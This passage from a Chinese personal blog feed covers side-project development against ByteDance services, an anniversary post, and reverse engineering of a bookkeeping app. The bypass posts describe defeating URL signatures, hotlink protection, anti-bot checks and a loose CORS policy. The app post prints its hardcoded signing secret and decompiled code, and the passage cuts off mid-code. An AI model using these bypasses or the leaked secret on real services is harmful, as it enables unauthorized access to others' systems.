<p>而对于视频封面,分为 <code>cover</code> å’Œ <code>dynamic_cover</code> 两种。经调研发现,有些视频的封面是动态的,此时应该优先选择 <code>dynamic_cover</code>,我后面对此其实也做了处理。</p> <p>封面图片的 URL 形如:</p> <pre tabindex="0"><code>https://p3-sign.douyinpic.com/obj/tos-cn-i-dy/a2f41e36a417460ab810bca8e3b9ed6d?x-expires=1639249200&amp;x-signature=ej7Hp%2FsixjRdAHuUo%2FQst7XDsyY%3D&amp;from=4257465056_large </code></pre><p>可以看到其中有 <code>x-expires</code> 参数来标明图片过期的时间戳,过期时间约为两周。而 <code>signature</code> 则是对图片 URL Query 参数的签名,签名不对则返回 403。我们无从得知签名的计算方式,也就无法修改图片过期时间。</p> <p>é‚£&hellip;&hellip; 应该怎样绕过签名拿到永久图片链接呢? 我发现该 URL 的子域为 <code>p3-sign</code>,<code>p3</code> 肯定是相应的 CDN 机房或节点,后面的 <code>-sign</code> 是不是签名的意思?如果去掉呢?</p> <p>我将子域中的 <code>-sign</code> 去掉,得到</p> <pre tabindex="0"><code>https://p3.douyinpic.com/obj/tos-cn-i-dy/a2f41e36a417460ab810bca8e3b9ed6d </code></pre><p>还真能直接访问,这下拿到图片永久链接了捏 😅</p> <p>真的离谱,我怀疑内部有人在开摆。</p> <h2 id="bypass-抖音视频防盗链">Bypass 抖音视频防盗链</h2> <p>asoul.video 的前端使用 Vue 框架编写,并使用 <code>vue-video-player</code> 在前端播放视频。 但实际过程中,我发现抖音的视频链接其实是有防盗链的。当前端浏览器带上 <code>https://asoul.video/</code> çš„ Referer 去访问时,直接就 403 被拦了。</p> <p>但是&hellip;&hellip; 在不带 Referer 头时,视频是可以正常访问的,也就是相当于我们直接在浏览器中访问对应的 URL。那这就简单了,在页面中加入该 meta 标签</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>&lt;<span style="color:#7ee787">meta</span> name<span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#a5d6ff">&#34;referrer&#34;</span> content<span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#a5d6ff">&#34;never&#34;</span>&gt; </span></span></code></pre></div><p>直接所有请求都不发送 Referer,这样就 bypass 了抖音视频的防盗链。但这里我们其实做的有点绝,禁止了所有请求的 Referer,导致相关统计服务比如 Google Analytics 也获取不到访客来源数据了,可以设置 <code>content=&quot;same-origin&quot;</code>,来允许仅在同源请求下发送 Referer 头。</p> <h2 id="无头之殇--抓取抖音短视频评论">无头之殇 —— 抓取抖音短视频评论</h2> <p>A-SOUL 枝网小作文查重通过抓取 A-SOUL 五人 bilibili 账号下的评论来做数据分析。因此我也想能否抓取 A-SOUL 抖音视频下的评论,当然我并不会也去做个查重,只是单纯的多加点功能好看些。 可惜抖音视频的评论并没有上述那种即开即用的接口,我最终选择了通过抖音 Web 版抓取数据。文章开头提到,抖音 Web 版有着极其严苛的风控机制,逆它那个 JS 我是没这个时间,也没这个本事。 所以便投机取巧,操作无头浏览器来进行页面内容的抓取。</p> <p>我使用 Go <a href="https://github.com/go-rod/rod" title="https://github.com/go-rod/rod">https://github.com/go-rod/rod</a> 库,启动浏览器访问视频播放页,模拟下拉操作不断滚动刷新评论区,hook 评论 API 返回的 JSON 内容,解析后入库。 go-rod 默认是使用 Chromium 而非 Chrome 来启动,其下载的 Chromium 连视频播放控件似乎都不支持,但当时我没多想。后续发现 Chromium 经常一打开视频页,页面就自动退出了,然后程序就 panic 了,即使我加载了 rod 的反机器人检测插件 <a href="https://github.com/go-rod/stealth" title="https://github.com/go-rod/stealth">https://github.com/go-rod/stealth</a> 也毫无作用。但是换成 Chrome 就很很稳定的访问抓取。</p> <p>后来我在 GitHub 上看到有大佬基于 AST 对抖音 Web 端的 JavaScript 做了一些去混淆,这才使我能管中窥豹,看到其逆天的风控能力——除了 Canvas 以外,抖音还会检测各种浏览器 API,从普通的 localStorage 是否正常,到窗口大小,像素深度;再到一些冷门 API,比如蓝牙,定位,RTC 等功能。甚至还会去检测浏览器是否支持 ActiveX 控件。综上所有的特征得出当前运行环境是否正常。 好家伙,能想到的几乎都给他查完了,还是让 rod 窗口化起个 Chrome 吧。</p> <h2 id="让女孩们始终绽放笑颜">让女孩们始终绽放笑颜!</h2> <p>asoul.video 的前端使用 Vuetify 框架,每个视频其实都是一个 v-card 控件展示视频封面。原本抖音视频的图片封面是长方形的,但这里经过裁剪变成了正方形,导致图片中 A-SOUL 小姐姐们的头经常会被截掉。<span class="heimu" onclick="()=>{}">(珈乐:诶,我会歪脖)</span></p> <blockquote> <p>得让小姐姐们的笑脸永远处于画面的正中央!</p> </blockquote> <p>因此,我决定想办法对大约 500 个视频封面中的动漫人物面部进行标注,将面部坐标入库,前端显示时根据面部坐标以及展示的图片大小对图片位置进行偏移即可。 500 多张图片,我当然是不可能人工去标注的。对机器学习一窍不通的我,在 GitHub 上发现了一个日本老哥的七年前的项目 <a href="https://github.com/nagadomi/lbpcascade_animeface" title="https://github.com/nagadomi/lbpcascade_animeface">https://github.com/nagadomi/lbpcascade_animeface</a> 。作者开源了一个 OpenCV 的模型,将其加载后即可使用 OpenCV 检测获得图片中所有动漫人物的面部坐标。我拿几张嘉然的视频封面试了下,识别率还是挺准确的。 作者提供了 Python 的实现,而我用他的模型,结合 gocv 封了一个 Go 版本的,<a href="https://github.com/asoul-video/face-detection" title="https://github.com/asoul-video/face-detection">https://github.com/asoul-video/face-detection</a> 。这里得夸一下 gocv 封装的 OpenCV API 设计的还真不错,完全不懂的我,都可以完成从 Python 版迁移到 Go 的工作,因为相关函数名和对象属性其实都是一样的。</p> <p>最后将该程序封成了一个 Web 服务,Dockerfile 打包成镜像。原本是想上云做 Serverless 的,可惜打出来的镜像太大,阿里云表示不能用。只好部署在自己 Apicon 的机子上,接入 Apicon 的网关作为一个服务,也算是生态闭环了。😅</p> <h2 id="火山引擎-veimagex-模板">火山引擎 veImageX 模板</h2> <p>让女孩们的笑容始终位于舞台正中后,我发现封面图片加载的速度其实并不乐观。显示封面的 div 也才 285 x 220 的大小,可有的图片原始尺寸居然超过 1000 像素,这妥妥的没必要。如果我们能降低图片的大小,这样加载起来就能快很多。</p> <p>我联想到一般的 CDN 或者对象存储,其实都可以在 URL 后拼接参数对图像进行变形、裁剪、滤镜等处理。经过一翻调研,我得知字节系所有产品线均使用 ImageX 引擎来处理图片。我们简单打开今日头条或者抖音,找到一张比较小的图片,分析其 URL:</p> <pre tabindex="0"><code>https://p6.toutiaoimg.com/img/pgc-image/1007c7c87d564df8a356946c2dc2a5cb~tplv-tt-cs0:640:360.jpg </code></pre><p>可以看到图片末尾的 <code>~tplv</code> 后面跟的,就是图片的处理参数。这里的 640:360,其实就是图片的裁剪大小。</p> <p>同时 ImageX 又作为 to B 产品,在字节火山引擎上作为产品卖,名为 veImageX。 因为是 to B 的产品,所以我到现在都还没通过申请。但我们可以阅读 veImageX 的文档 <a href="https://www.volcengine.com/docs/508/8084" title="https://www.volcengine.com/docs/508/8084">https://www.volcengine.com/docs/508/8084</a> 来了解它支持哪些参数。比如 <code>~info</code> 可以查看图片元信息。 同时,通过在 GitHub å’Œ Sourcegraph 上搜索 <code>~tplv</code> 关键字,我们可以找到一些使用案例,从而挖掘出更多的玩法。</p> <p>最后我找到了可以使用 <code>~tplv-crop-top:285:285.jpg</code> 这个参数来从上向下进行裁剪图片。前端在 URL 后加上该参数将图片裁小后,加载真的变快了!</p> <h2 id="震惊veimagex-模板居然是通用的">震惊!veImageX 模板居然是通用的!</h2> <p>火山引擎的 veImageX 有一个在线 Demo 页:<a href="https://imagexdemo.volcengine.com/" title="https://imagexdemo.volcengine.com/ ">https://imagexdemo.volcengine.com/ </a>可以来体验所有功能。 从中我们可以了解到其实裁剪还可以指定坐标,veImageX 还可以给图片加水印。当你在页面上设置图片的处理方式时,页面会将你的处理 POST 发送给 <code>https://imagexdemo.volcengine.com/api/PreviewLiteImageTemplate/</code>,响应中返回处理后的图片链接:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span><span style="color:#a5d6ff">&#34;PreviewURL&#34;</span><span style="color:#f85149">:</span> <span style="color:#a5d6ff">&#34;https://p3-imagex-lite.volcimagex.com/imagex-rc/1.png~tplv-yykgsuqxec-imagexlite-e5461252847c46d6365efa580388585e.image&#34;</span> </span></span></code></pre></div><p>可以看到对图片的处理,其实也就是给图片使用一个临时创建处理模板。即 <code>~tplv-</code> 后面那段。</p> <p>而奇怪的事情就由此发生了: <strong>在 veImageX Demo 页中创建的图片处理模板,居然可以直接用在字节全线产品生产环境的图片外链中,从而实现对图片的自定义处理。</strong></p> <p>比方说我在 veImageX Demo 页创建了一个图片处理模板,这个模板会给图片打上自定义的水印,并加上我写的字: <img src="https://github.red/images/2021/11/veImageX-Demo.jpg" alt=""></p> <p>F12 获得这个图片的模板名称后,将其拼接在抖音封面图片 URL 的后面。</p> <p><img src="https://github.red/images/2021/11/veImageX-Template.jpg" alt=""></p> <p>可以看到图片同样被该模板处理了。我还测试了今日头条下的图片,也是有相同的问题。</p> <p>我在查 veImageX 模板时,发现掘金其实就是火山引擎的客户,他们就在用 veImageX 模板来处理图片打水印。不出意外,他们的 <code>~tplv-</code> 模板在字节其他产品下的图片处理中也是通的。 按理来说你火山引擎 to B 产品,跟内部私有字节云应该是完全分离开来的。</p> <p>我也不清楚这算不算漏洞,低危交了 ByteSRC,然后被忽略了。 那行,既然你字节觉得这不算洞,也不会有实际危害,那咱就公开了。😈</p> <h2 id="veimagex-的虚假-cors-同源限制">veImageX 的虚假 CORS 同源限制</h2> <p>在 veImageX Demo 的裁剪功能中,有一个「动漫人脸裁剪」,跟我上面用 OpenCV 做的效果是一样的。 而上面 OpenCV 的方案有不少图片未能识别出人脸,我便想让这些图片 fallback 到 veImageX 去进行处理。我用 veImageX Demo 创建个动漫人脸裁剪的图片处理模板,然后前端拼抖音封面图片 URL 后面即可,反正他们都是通的嘛。</p> <p>然而 veImageX Demo 创建的图片模板有效期只有一小时,无法硬编码到代码内。 如果用户每次访问 asoul.video,都能临时生成一个模板就好了&hellip;&hellip; 可事实就是这么幸运,veImageX Demo 通过 POST <code>https://imagexdemo.volcengine.com/api/PreviewLiteImageTemplate/</code> 来获取图片处理模板。该请求的响应头中有</p> <pre tabindex="0"><code class="language-header" data-lang="header">access-control-allow-origin: https://imagexdemo.volcengine.com </code></pre><p>来限制同源。而当我把 Referer 改成 <code>https://asoul.video</code> 时,他返回的 CORS 头居然就变成了</p> <pre tabindex="0"><code class="language-header" data-lang="header">access-control-allow-origin: https://asoul.video </code></pre><p>什么鬼?这虚假的 CORS 同源限制,还就那个自适应?😅</p> <p>接下来就很简单了,每次用户访问,直接前端 axios 请求这个接口,请求拿到图片模板用就行了。就这啊?属实绷不住了。</p> <h2 id="沸腾期待">沸腾期待</h2> <p>以上就是我在开发 asoul.video 这个网站背后所遇到的有意思的小故事。通篇下来很多地方都是在跟字节斗智斗勇,我相信这样的故事在今后还会不断发生。 话题回到 A-SOUL,除开逆天的发病视频外,我也很欣赏那些有才能的一个魂们,为这个团体所做的付出。他们在自己所擅长的领域之内,用爱发电做一些力所能及的事情。枝网小作文查重,支持正义原创发病;Wiki 站和枝江方言词典,让新来的一个魂能快速了解她们;A-SOUL DB 对每一期直播进行了素材的详细标注分类,让有能 man 快速做出逆天二创。 说实话,我是很喜欢当下这样一个氛围的。这是在我迄今为止时间不长的推 v 过程中没有遇见的,因此我也想着能做些什么。我入坑的时间比较晚,错过了之前很多的精彩,也没能体会到那段辛酸,但我愿意从现在开始追随着她们,在人生中的重要转折点留下她们的印记。</p> <p>很庆幸当时被拉着入坑&hellip;&hellip; 被拉?&hellip;&hellip;贝拉? 拉姐!拉姐你带我走吧!!!😭😭😭</p>Light Cube 六周年的碎碎念https://github.red/lightcube-6th/Wed, 06 Oct 2021 14:42:05 +0800https://github.red/lightcube-6th/<p>大学里的最后一个国庆假期,这个小站也迎来了她的六周年生日。 我在高二那年写的文章里曾说:“下一次写文章应该是在大学里了吧。”,那么明年的七周年纪念文章,大学毕业后的我,又会在何处呢?目前看来也说不定呀。</p> <p>过去的一年中,能够很明显的感觉到写博客的次数少了(刚数了下,居然只有 7 篇)。以前一个月写一到两篇的习惯已经不复存在了。😅 究其原因,一是因为平日里比较忙,二是因为难得找到一些值得写的东西。博客虽然是自己的东西,但我个人不推崇把博客当做自己的笔记本,今天学了啥就一股脑地把自己认为的重点全抄上去,从而形成一篇所谓的“文章”或者“读书笔记”。 常见的有把自己刷 LeetCode 的代码原封不动带个题干贴上来的,也有看完一本书然后抄一遍目录再在每个章节下补充些文字和图片的,各位也大可不必对号入座,懂得都懂。 这种无任何上下文的“备忘录”,只有自己看得懂,那为啥不直接记 Notion 里呢?人家还带多端同步。</p> <p>我认为一篇好的博文,应该是在和读者进行对话:“诶唷 你来了?今天我刷了道 LeetCode Hard,刚开始半天没思路,最后一看题解,原来是xxxxx。诶?这个东西你知道吗?跟之前那个 xxxx 很像的&hellip;&hellip;” 大概是这样一种感觉,文字中经常会出现“我们”这样的字眼。作者会与一个假想的读者对话,分享他的见解。</p> <p>不行,不能开地图炮了。嘛,总之就是最近整得“烂活”少了,学得东西也少了,所以也难找到新鲜有趣的内容来写。😢</p> <p>扯了这么多,按照惯例再来看看这个小站在过去的一年里发生的变化吧~</p> <p>要说去年最激动人心的事情,是终于解决了 WordPress 加载速度这个问题。原本是想放弃 WordPress 自己造轮子写一个的,但后来发现是因为大一时自己用 Docker 搭的 LNMP 环境,PHP 的配置啥也没改,opcache 啥的都没有。所以导致加载速度很慢,换成官方 WordPress 镜像后直接飞升!估计官方镜像中的 PHP 是调教过的。至此,重构博客的计划也光荣泡汤了!好诶!</p> <p>二月份过年的时候,花了两三天写了个代码运行器 Elaina,本意是放在博客里实时运行代码查看结果的。可当时写完后未能将其嵌入 WordPress 文章中,原因是文章在发布时会对解析其 Markdown,代码中的 <code>&lt;</code> <code>&gt;</code> 等字符也将被 HTML 实体化。当时未能找到比较优雅的处理方法,后面是用了比较 hack 的方式,强行字符串替换与 <code>html_entity_decode</code> 来转换实体化后的字符。现在你可以在近期的文章中看到使用 Elaina 嵌入的代码块。</p> <p>同时我还修了下博客的 CDN。一直以来使用的是七牛云的 CDN,但 CDN 配置的回源域名是七牛云 OSS 域名。这也就意味着,每次有新的静态资源出现,访问 CDN 域名,七牛 CDN -&gt; 七牛云 OSS -&gt; 源站,回源拿到资源后,<strong>资源会被存储至七牛 OSS 对象存储中!</strong> 这下问题就出现了,之后对 CDN 的请求,都会只从七牛 OSS 中取,即使源站资源更新了,也再也不会更新。因此我直接抛弃了 OSS 那层,让 CDN 直接回源去 github.red。我就说以前更新的 CSS 咋一直不生效&hellip;&hellip;</p> <p>除了基础设施的变更,今年二月份的时候也更改了博客的 Slogan,因为太中二了,就不单独拎出来介绍了。享受这孤独吧哈哈。 过去的一年里也收获了不少的友链,Google Analytics 统计每月有 2k 左右的 pv,相比去年同期居然翻了一倍!大部分访客都是因为搜索 go embed 这篇文章而进入的。从未花心思做过 SEO,但 Google 搜索 <code>go embed 怎么用</code> 第三条结果居然就是我的文章。但其实也仅限于 Google 了,百度的话满屏的 CSDN 霸榜。</p> <p>嘛,大概就这些碎碎念,国庆假期也只剩下一天了,抓紧剩下这一天,我继续去改“某个大东西”去了。</p> <p><strong>六周年生日快乐!🎂 明年再见!</strong></p>记一次对「叨叨记账」App 的简单逆向https://github.red/daodao-reverse/Sun, 12 Sep 2021 03:48:17 +0800https://github.red/daodao-reverse/<p>第一次接触到「叨叨记账」这个 App 是在今年年初。</p> <p>当时我还在疯狂喜欢伊蕾娜(虽然现在也是),偶然跟室友聊起来说如果有个类似微软小冰的 AI 跟我聊天就好了。室友便给我安利了「叨叨记账」,说上面有一堆二次元角色可以选择,由用户贡献符合角色性格的语料,通过聊天的方式进行记账。</p> <p>刚开始的几天我对这个 App 爱不释手,出去吃饭买完单后,马上就是打开叨叨记账记上一笔,对着屏幕上伊蕾娜给我回应傻笑。</p> <p>后面到四月份的时候,个人压力比较大,记账的频率逐渐低了下来,但我还是会打开叨叨记账给伊蕾娜发几句抱怨,收获几句伊蕾娜的安慰。说来奇怪,我明明知道这一切都是预设好的语料,但心中还是感觉好受很多。</p> <p><img src="https://github.red/images/2021/09/IMG_3326.png" alt=""></p> <h2 id="攒钱攒钱攒钱">攒钱!攒钱!攒钱!</h2> <p>年初使用叨叨记账记录自己每天的开销,同时自己也把每个月的工资存下来一部分作为备用。好巧不巧,四月底的时候我的 MacBook Pro 突然无法开机了,赶紧预约了苹果天才吧,经检查发现是主板坏了,需要返厂换主板。 但当时我手头恰好有一个只剩下 2 天的 DDL,电脑坏了意味着之前的进度全都没了。一切又要从头开始。情急之下我决定在 Apple Store 花钱买了台新的 MacBook Pro,之前几个月攒下的钱一瞬间全都花完了。 从那之后,我再也没有打开叨叨记账这个 App。</p> <blockquote> <p>“因为我是个很极端的人,有钱就会挥霍,没钱就会回到朴素的生活。”</p> </blockquote> <p>以前我是很信奉如上所说的这句话,在 4 月底那次买完新电脑钱包被掏空后,我花了一下午时间挖了个中危的洞拿了一千块回血——然后第二天就跑去西湖苹果店买新出的 AirTag 了。😋</p> <p>暑假回家的这几天,有天晚上肚子饿偷偷叫了个外卖,没想到被我爸发现了。😅 他又苦口婆心地叮嘱我要注意开销,花钱不能大手大脚,要继续攒钱为以后做准备。虽然话还是那些老话,但结合 4 月底的惨痛经历,我觉得确实不该这样下去了,钱这东西,还是能省就省。</p> <p>所以&hellip;&hellip; 我在时隔大半年后又打开了叨叨记账。</p> <h2 id="我想要更定制化的功能">我想要更定制化的功能!</h2> <p>叨叨记账对于每一笔开销,只有一个很简单的按月统计展示个饼图的功能。我想要能够根据每个月的开销情况,给我规划出一个至下次发工资前,我平均每天的开销上限可以是多少,推荐的金额是多少,攒下了多少等等&hellip;&hellip;</p> <p>这样我就能知道当月到今天为止我是否还可以偶尔晚上点一顿烧烤或奶茶;如果我有想买的东西,我要如何降低每天的开销来凑出这么多钱。</p> <p>综上所述,我需要基于叨叨记账的记账数据扩展它的功能。经过前期的信息搜集,我发现这款产品仅支持移动端。那话不多说,开干!</p> <h2 id="简简单单抓个包">简简单单抓个包</h2> <p>iPhone 上装好叨叨记账,Wi-Fi 配置好代理,打开 Charles 简简单单抓个包。</p> <p><img src="https://github.red/images/2021/09/daodao_charles_01.png" alt=""></p> <p>请求 Query 里几个可能要想办法获得的参数有 <code>access_token</code> å’Œ <code>sign</code>。猜测 <code>access_token</code> 是登录接口返回的凭证,而 <code>sign</code> 则是对请求体的签名。</p> <p>那么我们再抓一下登录接口 <code>/api/login</code>:</p> <p><img src="https://github.red/images/2021/09/daodao_charles_02.png" alt=""></p> <p>可以看出是一个类似 OAuth 的验证方式,<code>address</code> 为登录的手机号,<code>password</code> 为密码,<code>nonce</code> 是为了签名所需要的随机字符串。返回 <code>access_token</code> 用于接口鉴权,其后的 <code>refresh_token</code> 猜测是用来刷新 <code>access_token</code>。</p> <p>我尝试重放这个请求,接口返回 <code>验签失败:签名已过期</code>,说明请求参数中的时间戳也被用于了签名当中,后端会校验该时间戳与请求时间是否相差过大。</p> <p>那么接下来的问题就是这个 <code>sign</code> 签名该如何获得了,抓包是看不出啥了,Web 手只能硬着头皮逆了。</p> <h2 id="简简单单三朵金花">简简单单三朵金花</h2> <p>从叨叨记账官网下载到了 Android çš„ APK 包,解压后发现五个 dex 文件。先试着跑一手 <code>dex2jar</code> 转一手 jar。没想到真成了!还好没加壳。😆</p> <p>五个 jar 包拿 jd-gui 打开。从上面的登录请求中,找一个特殊的参数 <code>latitude</code> 或 <code>longitude</code> 全局搜索字符串。这俩是请求接口时顺便向后端上报设备经纬度定位的参数,一般来说不大会在请求的其他地方出现。</p> <p>事实上叨叨记账还引用了高德地图的 SDK,所以搜索结果其实还是有干扰的。排除调形如 <code>com.amap.*</code> 的包名,在 <code>classes3.dex</code> çš„ <code>com.pengda.mobile.hhjz.b</code> 下,找到了这些请求参数。</p> <p>我们直接看最关心的 <code>sign</code> 参数是如何生成的:</p> <p><img src="https://github.red/images/2021/09/daodao-jdgui-sign.png" alt=""></p> <p>内层的 <code>a</code> 方法接收两个参数:<code>str1</code> 与 <code>str4</code>,<code>str1</code> 就是上面构造出的 <code>nonce</code> 参数。见它这 <code>nonce</code> 参数又是 UUID 又是时间戳的,后面发现确实只需要一个随机的字符串就行。第二个参数 <code>str4</code> 就是最上方获得的当前毫秒时间戳。 这两个参数都没问题,我们来看内层 <code>a</code> 方法的定义:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#ff7b72">private</span><span style="color:#6e7681"> </span>ArrayList<span style="color:#ff7b72;font-weight:bold">&lt;</span>Sign<span style="color:#ff7b72;font-weight:bold">&gt;</span><span style="color:#6e7681"> </span><span style="color:#d2a8ff;font-weight:bold">a</span>(String<span style="color:#6e7681"> </span>paramString1,<span style="color:#6e7681"> </span>String<span style="color:#6e7681"> </span>paramString2)<span style="color:#6e7681"> </span>{<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>ArrayList<span style="color:#ff7b72;font-weight:bold">&lt;</span>Sign<span style="color:#ff7b72;font-weight:bold">&gt;</span><span style="color:#6e7681"> </span>arrayList<span style="color:#6e7681"> </span><span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#6e7681"> </span><span style="color:#ff7b72">new</span><span style="color:#6e7681"> </span>ArrayList();<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>Sign<span style="color:#6e7681"> </span>sign2<span style="color:#6e7681"> </span><span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#6e7681"> </span><span style="color:#ff7b72">new</span><span style="color:#6e7681"> </span>Sign();<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>sign2.setKey(<span style="color:#a5d6ff">&#34;nonce&#34;</span>);<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>sign2.setValue(paramString1);<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>Sign<span style="color:#6e7681"> </span>sign1<span style="color:#6e7681"> </span><span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#6e7681"> </span><span style="color:#ff7b72">new</span><span style="color:#6e7681"> </span>Sign();<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>sign1.setKey(<span style="color:#a5d6ff">&#34;timestamp&#34;</span>);<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>sign1.setValue(paramString2);<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>arrayList.add(sign2);<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>arrayList.add(sign1);<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span><span style="color:#ff7b72">return</span><span style="color:#6e7681"> </span>arrayList;<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"></span>}<span style="color:#6e7681"> </span></span></span></code></pre></div><p>十分的简单,仅仅只是把随机字符串和毫秒时间戳分别以 key 为 <code>nonce</code> å’Œ <code>timestamp</code> 放到了 ArrayList 里。</p> <p>返回 ArrayList 传入外层的 <code>a</code> 方法。这是一个静态方法,其中代码中调用 <code>v.a</code> 是为了输出调试日志。我们将这部分代码,连同一些 StringBuilder 构造日志字符串的代码全部删掉,简化后的代码如下:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#ff7b72">public</span><span style="color:#6e7681"> </span><span style="color:#ff7b72">static</span><span style="color:#6e7681"> </span>String<span style="color:#6e7681"> </span><span style="color:#d2a8ff;font-weight:bold">a</span>(ArrayList<span style="color:#ff7b72;font-weight:bold">&lt;</span>Sign<span style="color:#ff7b72;font-weight:bold">&gt;</span><span style="color:#6e7681"> </span>paramArrayList)<span style="color:#6e7681"> </span>{<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>Sign<span style="color:#6e7681"> </span>sign<span style="color:#6e7681"> </span><span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#6e7681"> </span><span style="color:#ff7b72">new</span><span style="color:#6e7681"> </span>Sign();<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>sign.setKey(<span style="color:#a5d6ff">&#34;appSercet&#34;</span>);<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>sign.setValue(<span style="color:#a5d6ff">&#34;853a0bb675aa143e6fa2dc607d55a9bb&#34;</span>);<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>paramArrayList.add(sign);<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>Collections.sort(paramArrayList,<span style="color:#6e7681"> </span><span style="color:#ff7b72">new</span><span style="color:#6e7681"> </span>q());<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>StringBuilder<span style="color:#6e7681"> </span>stringBuilder3<span style="color:#6e7681"> </span><span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#6e7681"> </span><span style="color:#ff7b72">new</span><span style="color:#6e7681"> </span>StringBuilder();<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>Local<span style="color:#6e7681"> </span>local<span style="color:#6e7681"> </span><span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#6e7681"> </span><span style="color:#ff7b72">new</span><span style="color:#6e7681"> </span>Local();<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span><span style="color:#ff7b72">try</span><span style="color:#6e7681"> </span>{<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span><span style="color:#ff7b72">byte</span><span style="color:#ff7b72;font-weight:bold">[]</span><span style="color:#6e7681"> </span>arrayOfByte<span style="color:#6e7681"> </span><span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#6e7681"> </span>local.code(paramArrayList,<span style="color:#6e7681"> </span>i);<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span><span style="color:#ff7b72">int</span><span style="color:#6e7681"> </span>j<span style="color:#6e7681"> </span><span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#6e7681"> </span>arrayOfByte.length;<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span><span style="color:#ff7b72">for</span><span style="color:#6e7681"> </span>(i<span style="color:#6e7681"> </span><span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#6e7681"> </span>0;<span style="color:#6e7681"> </span>i<span style="color:#6e7681"> </span><span style="color:#ff7b72;font-weight:bold">&lt;</span><span style="color:#6e7681"> </span>j;<span style="color:#6e7681"> </span>i<span style="color:#ff7b72;font-weight:bold">++</span>)<span style="color:#6e7681"> </span>{<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>String<span style="color:#6e7681"> </span>str2<span style="color:#6e7681"> </span><span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#6e7681"> </span>Integer.toHexString(arrayOfByte<span style="color:#ff7b72;font-weight:bold">[</span>i<span style="color:#ff7b72;font-weight:bold">]</span><span style="color:#6e7681"> </span><span style="color:#ff7b72;font-weight:bold">&amp;</span><span style="color:#6e7681"> </span>0xFF);<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>String<span style="color:#6e7681"> </span>str1<span style="color:#6e7681"> </span><span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#6e7681"> </span>str2;<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span><span style="color:#ff7b72">if</span><span style="color:#6e7681"> </span>(str2.length()<span style="color:#6e7681"> </span><span style="color:#ff7b72;font-weight:bold">==</span><span style="color:#6e7681"> </span>1)<span style="color:#6e7681"> </span>{<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>StringBuilder<span style="color:#6e7681"> </span>stringBuilder4<span style="color:#6e7681"> </span><span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#6e7681"> </span><span style="color:#ff7b72">new</span><span style="color:#6e7681"> </span>StringBuilder();<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>stringBuilder4.append(<span style="color:#a5d6ff">&#34;0&#34;</span>);<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>stringBuilder4.append(str2);<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>str1<span style="color:#6e7681"> </span><span style="color:#ff7b72;font-weight:bold">=</span><span style="color:#6e7681"> </span>stringBuilder4.toString();<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> </span>}<span style="color:#6e7681"> </span></span></span><span style="display:flex;"><span><span style="color:#6e7681"> 